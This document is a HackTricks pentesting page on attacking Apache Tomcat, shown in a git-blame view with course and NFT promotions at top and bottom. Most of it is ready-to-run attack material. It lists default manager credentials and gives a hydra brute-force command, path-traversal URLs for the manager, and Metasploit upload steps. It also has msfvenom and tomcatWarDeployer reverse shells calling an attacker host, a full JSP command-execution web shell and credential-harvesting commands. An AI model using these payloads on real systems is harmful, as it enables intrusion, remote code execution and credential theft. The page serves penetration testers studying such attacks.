hacktricks/network-services-pentesting/pentesting-web/tomcat.md

272 lines
10 KiB
Markdown
Raw Normal View History

2022-07-31 22:37:48 +00:00
# Tomcat
2022-04-28 16:01:33 +00:00
<details>
2024-02-09 07:15:24 +00:00
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2022-10-02 23:29:55 +00:00
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
2022-10-02 23:29:55 +00:00
</details>
2022-04-28 16:01:33 +00:00
2022-10-02 23:29:55 +00:00
## Discovery
2022-04-28 16:01:33 +00:00
2022-10-02 23:29:55 +00:00
* It usually runs on **port 8080**
* **Common Tomcat error:**
2022-04-28 16:01:33 +00:00
2022-10-05 21:51:12 +00:00
<figure><img src="../../.gitbook/assets/image (1) (6).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
2022-10-02 23:29:55 +00:00
## Enumeration
2022-04-28 16:01:33 +00:00
2024-02-08 21:36:15 +00:00
### **Version Identification**
2024-02-08 21:36:15 +00:00
To find the version of Apache Tomcat, a simple command can be executed:
2022-10-02 23:29:55 +00:00
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
```
2024-02-08 21:36:15 +00:00
This will search for the term "Tomcat" in the documentation index page, revealing the version in the title tag of the HTML response.
2024-02-08 21:36:15 +00:00
### **Manager Files Location**
2024-02-08 21:36:15 +00:00
Identifying the exact locations of **`/manager`** and **`/host-manager`** directories is crucial as their names might be altered. A brute-force search is recommended to locate these pages.
2024-02-08 21:36:15 +00:00
### **Username Enumeration**
2024-02-08 21:36:15 +00:00
For Tomcat versions older than 6, it's possible to enumerate usernames through:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
2024-02-08 21:36:15 +00:00
### **Default Credentials**
2024-02-08 21:36:15 +00:00
The **`/manager/html`** directory is particularly sensitive as it allows the upload and deployment of WAR files, which can lead to code execution. This directory is protected by basic HTTP authentication, with common credentials being:
* admin:admin
* tomcat:tomcat
* admin:
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
2024-02-08 21:36:15 +00:00
These credentials can be tested using:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
2024-02-08 21:36:15 +00:00
Another notable directory is **`/manager/status`**, which displays the Tomcat and OS version, aiding in vulnerability identification.
2024-02-08 21:36:15 +00:00
### **Brute Force Attack**
2024-02-08 21:36:15 +00:00
To attempt a brute force attack on the manager directory, one can use:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
2024-02-08 21:36:15 +00:00
Along with setting various parameters in Metasploit to target a specific host.
2024-02-08 21:36:15 +00:00
## Common Vulnerabilities
2024-02-08 21:36:15 +00:00
### **Password Backtrace Disclosure**
2024-02-08 21:36:15 +00:00
Accessing `/auth.jsp` may reveal the password in a backtrace under fortunate circumstances.
2022-01-16 17:15:05 +00:00
2024-02-08 21:36:15 +00:00
### **Double URL Encoding**
2024-02-08 21:36:15 +00:00
The CVE-2007-1860 vulnerability in `mod_jk` allows for double URL encoding path traversal, enabling unauthorized access to the management interface via a specially crafted URL.
2022-01-16 17:15:05 +00:00
2024-02-08 21:36:15 +00:00
In order to access to the management web of the Tomcat go to: `pathTomcat/%252E%252E/manager/html`
2022-07-31 22:37:48 +00:00
### /examples
2024-02-08 21:36:15 +00:00
Apache Tomcat versions 4.x to 7.x include example scripts that are susceptible to information disclosure and cross-site scripting (XSS) attacks. These scripts, listed comprehensively, should be checked for unauthorized access and potential exploitation. Find [more info here](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
2021-03-24 12:52:26 +00:00
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
2024-02-08 21:36:15 +00:00
### **Path Traversal Exploit**
2022-07-31 22:37:48 +00:00
In some [**vulnerable configurations of Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) you can gain access to protected directories in Tomcat using the path: `/..;/`
2021-12-23 18:13:55 +00:00
2022-04-28 14:55:20 +00:00
So, for example, you might be able to **access the Tomcat manager** page by accessing: `www.vulnerable.com/lalala/..;/manager/html`
2021-12-23 18:13:55 +00:00
**Another way** to bypass protected paths using this trick is to access `http://www.vulnerable.com/;param=value/manager/html`
2022-07-31 22:37:48 +00:00
## RCE
2021-12-23 18:13:55 +00:00
Finally, if you have access to the Tomcat Web Application Manager, you can **upload and deploy a .war file (execute code)**.
2022-07-31 22:37:48 +00:00
### Limitations
2022-10-03 00:11:21 +00:00
You will only be able to deploy a WAR if you have **enough privileges** (roles: **admin**, **manager** and **manager-script**). Those details can be find under _tomcat-users.xml_ usually defined in `/usr/share/tomcat9/etc/tomcat-users.xml` (it vary between versions) (see [POST ](tomcat.md#post)section).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
2021-08-22 16:26:27 +00:00
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
2021-08-22 01:54:08 +00:00
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
2022-07-31 22:37:48 +00:00
### Metasploit
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
2022-07-31 22:37:48 +00:00
### MSFVenom Reverse Shell
2024-02-08 21:36:15 +00:00
1. Create the war to deploy:
```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
```
2024-02-08 21:36:15 +00:00
2. Upload the `revshell.war` file and access to it (`/revshell/`):
2022-07-31 22:37:48 +00:00
### Bind and reverse shell with [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
2021-12-23 18:13:55 +00:00
In some scenarios this doesn't work (for example old versions of sun)
2022-07-31 22:37:48 +00:00
#### Download
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
2022-07-31 22:37:48 +00:00
#### Reverse shell
```bash
2021-08-29 13:51:49 +00:00
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```
2022-07-31 22:37:48 +00:00
#### Bind shell
```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```
2022-07-31 22:37:48 +00:00
### Using [Culsterd](https://github.com/hatRiot/clusterd)
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
2022-07-31 22:37:48 +00:00
### Manual method - Web shell
2022-10-02 23:29:55 +00:00
Create **index.jsp** with this [content](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
```
```bash
2022-10-02 23:29:55 +00:00
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
2022-10-02 23:29:55 +00:00
# Upload it
```
2021-12-23 18:13:55 +00:00
You could also install this (allows upload, download and command execution): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
2022-10-02 23:29:55 +00:00
### Manual Method 2
Get a JSP web shell such as [this](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) and create a WAR file:
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
2022-07-31 22:37:48 +00:00
## POST
Name of Tomcat credentials file is _tomcat-users.xml_
```bash
find / -name tomcat-users.xml 2>/dev/null
```
2021-09-10 08:33:24 +00:00
Other ways to gather Tomcat credentials:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
2022-04-28 16:01:33 +00:00
2022-07-31 22:37:48 +00:00
## Other tomcat scanning tools
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
2022-04-28 16:01:33 +00:00
2024-02-08 21:36:15 +00:00
## References
2024-02-08 21:36:15 +00:00
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2022-10-02 23:29:55 +00:00
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>